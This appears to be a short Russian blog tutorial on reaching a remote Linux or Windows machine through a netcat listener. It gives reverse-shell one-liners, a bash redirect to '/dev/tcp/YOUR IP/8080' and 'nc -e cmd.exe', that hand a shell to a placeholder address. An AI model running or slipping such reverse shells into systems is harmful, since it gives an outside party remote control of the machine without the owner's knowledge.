Удаленный доступ к linux с помощью netcat

Иногда бывает необходимо получить доступ к удаленному серверу не зная его внешний ip адрес или этот адрес динамический. Но со стороны сервера к которому нужно получить доступ есть человек, который может выполнить команды в терминале, предоставив нам доступ.
Для этого потребуется netcat. Зная свой внешний адрес и открыв порт на роутере, можно организовать удаленный доступ. Для этого на своем компьютере(у меня Ubuntu) выполним команду:

nc -l -p 8080

Таким образом мы сказали netcat слушать порт 8080, соответственно нужно открыть этот порт на роутере.
Узнаем свой внешний ip адрес:

wget -qO - http://2ip.ru/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'

Теперь осталось запустить на компьютере к которому необходимо получить доступ следующую команду:

/bin/bash -i > /dev/tcp/ВАШ IP АДРЕС/8080 0<&1 2>&1

В терминале, где запущен netcat должна появиться консоль от текущего пользователя удаленной машины.
Аналогично можно получить доступ и для windows машины:

nc -nv ВАШ IP АДРЕС 8080 -e cmd.exe

Понравилась статья? Поделиться с друзьями: